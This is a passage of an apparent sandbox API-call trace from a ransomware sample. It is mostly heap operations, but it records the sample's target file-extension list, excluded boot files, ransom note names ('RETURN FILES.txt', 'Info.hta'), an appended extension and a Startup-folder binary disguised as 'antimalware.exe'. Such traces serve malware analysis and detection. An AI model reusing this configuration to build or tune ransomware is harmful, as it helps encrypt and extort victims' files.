	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e3e0
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546540
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546648
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546780
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546558
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5468a0
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5468b8
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546870
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546ab0
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546888
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x546840
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546a38
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5468d0
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546a98
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5469a8
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546990
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5468e8
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546978
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x546930
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546a20
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546ae0
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546948
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546960
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546a50
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546ac8
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546a08
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546858
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546af8
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5469c0
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546810
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546828
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546a68
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546900
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546918
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5469d8
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5469f0
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x546a80
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12) returned 0x5064e0
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546c90
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546c60
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546b88
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546ba0
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546bb8
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546b70
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546c78
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546be8
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546ca8
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546bd0
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546c00
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546cc0
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546b10
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546c18
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546b28
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546c30
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546b40
	[0132.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546c48
	[0132.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546b58
	[0132.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5478b0
	[0132.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x547aa8
	[0132.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5479e8
	[0132.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x547af0
	[0132.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x547a48
	[0132.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x547a30
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e3f0
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5478f8
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e310
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x547910
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x547ad8
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x547880
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x547898
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x547850
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x547928
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x547988
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x547a00
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x547b08
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x547ac0
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x547a60
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5479a0
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x547820
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x547a78
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e320
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5478c8
	[0132.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x547940
	[0132.259] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5470e8, Size=0x800) returned 0x547cf8
	[0132.260] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0132.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544cd0 | out: hHeap=0x4f0000) returned 1
	[0132.260] lstrlenW (lpString="") returned 0
	[0132.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5488a8 | out: hHeap=0x4f0000) returned 1
	[0132.260] lstrlenW (lpString=".yG") returned 3
	[0132.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e490, Size=0x8) returned 0x52e1a0
	[0132.260] lstrlenW (lpString=".yG") returned 3
	[0132.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548a40 | out: hHeap=0x4f0000) returned 1
	[0132.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548b18, Size=0x20) returned 0x52df40
	[0132.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52df40, Size=0x40) returned 0x507df8
	[0132.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507df8, Size=0x80) returned 0x555678
	[0132.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e490, Size=0x8) returned 0x52e1b0
	[0132.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e1b0, Size=0x10) returned 0x5489c8
	[0132.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5489c8, Size=0x20) returned 0x52df90
	[0132.260] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0132.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555678 | out: hHeap=0x4f0000) returned 1
	[0132.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548968, Size=0x20) returned 0x52dfb8
	[0132.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52dfb8, Size=0x40) returned 0x507978
	[0132.260] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0132.260] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0132.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507978 | out: hHeap=0x4f0000) returned 1
	[0132.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548830, Size=0x20) returned 0x52de50
	[0132.260] lstrlenW (lpString="Info.hta") returned 8
	[0132.261] lstrlenW (lpString="Info.hta") returned 8
	[0132.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de50 | out: hHeap=0x4f0000) returned 1
	[0132.261] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x565cd0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0x8f
	[0132.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x565cd0 | out: hHeap=0x4f0000) returned 1
	[0132.262] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0132.262] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52df90, Size=0x40) returned 0x507978
	[0132.262] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548a40, Size=0x20) returned 0x52dfb8
	[0132.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5488d8, Size=0x20) returned 0x52df90
	[0132.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52df90, Size=0x40) returned 0x507bb8
	[0132.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507bb8, Size=0x80) returned 0x5551b0
	[0132.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5551b0, Size=0x100) returned 0x533330
	[0132.263] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0132.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533330 | out: hHeap=0x4f0000) returned 1
	[0132.263] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x565cd0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0132.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cd8 | out: hHeap=0x4f0000) returned 1
	[0132.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x565cd0 | out: hHeap=0x4f0000) returned 1
	[0132.264] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e280, Size=0x8) returned 0x52e210
	[0132.265] lstrlenW (lpString="%windir%;") returned 9
	[0132.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1
	[0132.265] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0132.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555cc8 | out: hHeap=0x4f0000) returned 1
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5488d8, Size=0x20) returned 0x52df90
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52df90, Size=0x40) returned 0x5078e8
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5078e8, Size=0x80) returned 0x554e80
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x554e80, Size=0x100) returned 0x533330
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e270, Size=0x8) returned 0x52e160
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e160, Size=0x10) returned 0x548a10
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548a10, Size=0x20) returned 0x52df90
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e240, Size=0x8) returned 0x52e130
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e250, Size=0x8) returned 0x52e140
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e270, Size=0x8) returned 0x52e2f0
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e2f0, Size=0x10) returned 0x548848
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548848, Size=0x20) returned 0x52e030
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e130, Size=0x10) returned 0x548aa0
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e140, Size=0x10) returned 0x548938
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e2f0, Size=0x8) returned 0x52e150
	[0132.266] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e2e0, Size=0x8) returned 0x52e240
	[0132.267] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548aa0, Size=0x20) returned 0x52dfb8
	[0132.267] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548938, Size=0x20) returned 0x52dfe0
	[0132.267] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e130, Size=0x8) returned 0x52e250
	[0132.267] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0132.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533330 | out: hHeap=0x4f0000) returned 1
	[0132.267] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548848, Size=0x20) returned 0x52e080
	[0132.267] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x555cc8, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0132.267] lstrlenW (lpString="C:\\") returned 3
	[0132.268] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0132.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555cc8 | out: hHeap=0x4f0000) returned 1
	[0132.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e1d0, Size=0x82) returned 0x5333c0
	[0132.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e270, Size=0x100) returned 0x533450
	[0132.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5333c0, Size=0x104) returned 0x547208
	[0132.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533450, Size=0x200) returned 0x544cd0
	[0132.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e2f0 | out: hHeap=0x4f0000) returned 1
	[0132.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544cd0 | out: hHeap=0x4f0000) returned 1
	[0132.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548bd8 | out: hHeap=0x4f0000) returned 1
	[0132.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555128 | out: hHeap=0x4f0000) returned 1
	[0132.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548aa0 | out: hHeap=0x4f0000) returned 1
	[0132.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555898 | out: hHeap=0x4f0000) returned 1
	[0132.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548c08 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547208 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548bc0 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5470e8 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548c80 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547178 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548c98 | out: hHeap=0x4f0000) returned 1
	[0132.271] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548ba8, Size=0x20) returned 0x52e0a8
	[0132.271] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e0a8, Size=0x40) returned 0x5079c0
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e1c0 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548938 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533330 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548a10 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555ab8 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548848 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e2e0 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548a28 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506e40 | out: hHeap=0x4f0000) returned 1
	[0132.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506420 | out: hHeap=0x4f0000) returned 1
	[0132.271] lstrlenW (lpString="%systemdrive%") returned 13
	[0132.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e080 | out: hHeap=0x4f0000) returned 1
	[0132.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555700 | out: hHeap=0x4f0000) returned 1
	[0132.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e160 | out: hHeap=0x4f0000) returned 1
	[0132.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x534cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0132.273] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548a10, Size=0x20) returned 0x52e080
	[0132.273] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e080, Size=0x40) returned 0x5078e8
	[0132.273] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5078e8, Size=0x80) returned 0x5559a8
	[0132.273] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5559a8, Size=0x100) returned 0x533330
	[0132.273] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533330, Size=0x200) returned 0x533330
	[0132.273] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533330, Size=0x400) returned 0x5470e8
	[0132.274] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5470e8, Size=0x800) returned 0x544cd0
	[0132.274] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544cd0, Size=0x1000) returned 0x544cd0
	[0132.274] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e2e0, Size=0x8) returned 0x52e140
	[0132.274] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e140, Size=0x10) returned 0x548cc8
	[0132.274] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x548cc8, Size=0x20) returned 0x52de78
	[0132.274] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52de78, Size=0x40) returned 0x507df8
	[0132.274] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507df8, Size=0x80) returned 0x5552c0
	[0132.274] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5552c0, Size=0x100) returned 0x54c370
	[0132.274] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c370, Size=0x200) returned 0x533330
	[0132.274] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533330, Size=0x400) returned 0x5470e8
	[0132.274] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5470e8, Size=0x800) returned 0x54e130
	[0132.275] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a